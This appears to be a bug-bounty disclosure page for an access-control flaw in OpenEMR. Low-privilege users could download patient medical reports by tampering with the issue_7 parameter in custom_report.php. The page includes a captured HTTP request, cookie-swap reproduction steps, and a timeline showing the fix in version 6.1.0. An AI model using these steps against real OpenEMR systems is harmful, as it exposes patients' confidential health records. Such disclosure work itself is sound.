

## Accounting User Can Download Patient Reports in openemr in openemr/openemr

**Valid**

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### Vulnerability Type

Insecure Direct Object Reference

### Affected URL

https://localhost/openemr/interface/patient\_file/report/custom\_report.php

### Affected Parameters

"Issue\_7"

### Authentication Required?

Yes

### Issue Summary

Non-privilege users (accounting & front-office) can download patient reports containing medical reports and documents by sending a request to a vulnerable end-point. There is no Access Control enforced, therefore, any authenticated user of OpenEMR can download patient records by just tampering the "Issue\_7" parameter to any valid number. By incrementing this value, an unauthorized user can download patient records.

### Recommendation

Implement ACL check to ensure that only authorized users of OpenEMR system are able to download patient documents from the vulnerable end-point.

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## Issue Reproduction

Login to OpenEMR as Admin and capture the POST request to the following end-point:

[https://localhost/openemr/interface/patient\\_file/report/custom\\_report.php](https://localhost/openemr/interface/patient_file/report/custom_report.php)

In Burp, the HTTP POST request, cookie "OpenEMR" & parameter "issue\_7" can be tampered.

```
Host: 192.168.0.141
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 155
Origin: http://192.168.0.141
Connection: close
Referer: http://192.168.0.141/openemr/interface/patient_file/report/patient_report.php
Cookie: OpenEMR=E6toaL3R-180fA2-MIw80a-G7PJPCapZxrTYIzY%2Cofj5CXEG
Upgrade-Insecure-Requests: 1
```

```
include_demographics=demographics&include_billing=billing&pdf=1&issue_8=%2F15%2F
```

Replace the "OpenEMR" Cookie with Accountant Cookie and increment the "issue\_7" parameter to any valid number eg "issue\_7=/15/" to access patient documents.

## References

- This bug was already reported and fix by Openemr project team. Kindly reach out to Brad in case of questions. Details of patch at: [https://www.open-emr.org/wiki/index.php/OpenEMR\\_Patches](https://www.open-emr.org/wiki/index.php/OpenEMR_Patches)

## CWE-1220: Insufficient Granularity of Access Control

### Severity

Medium (6.5)

### Visibility

Public

### Status

Fixed

### Found by



r00t.pgp

@r00tpgp

amateur ✓

This report was seen 683 times.

We are processing your report and will contact the **openemr** team within 24 hours. 9 months ago

r00t.pgp modified the report 9 months ago

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We have contacted a member of the **openemr** team and are waiting to hear back 8 months ago

We have sent a follow up to the **openemr** team. We will try again in 7 days. 8 months ago

A **openemr/openemr** maintainer validated this vulnerability 8 months ago

r00t.pgp has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

A **openemr/openemr** maintainer 8 months ago

Maintainer

This has been fixed in master and rel-610 branches and will be in OpenEMR's next production release (6.1.0).

A **openemr/openemr** maintainer 8 months ago

Maintainer

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OpenEMR 6.1.0 was released, today which fixes this issue.

A [openemr/openemr](#) maintainer marked this as fixed in **6.1.0** with commit **a2e918** 8 months ago

The fix bounty has been dropped ❌

This vulnerability will not receive a CVE ❌

[r00t.pgp](#) 8 months ago

Researcher

Hi, Kindly issue a CVE for this vulnerability. Tq

[r00t.pgp](#) 8 months ago

Researcher

Dear @admin i've already ping the maintainer, could you please follow up on the CVE creation?  
Tq

Dear @maintainer, could you kindly confirm that CVE can be created for this report? Tq

A [openemr/openemr](#) maintainer 8 months ago

Maintainer

Hi, I consent to creation of CVE.

[Jamie Slome](#) 8 months ago

Admin

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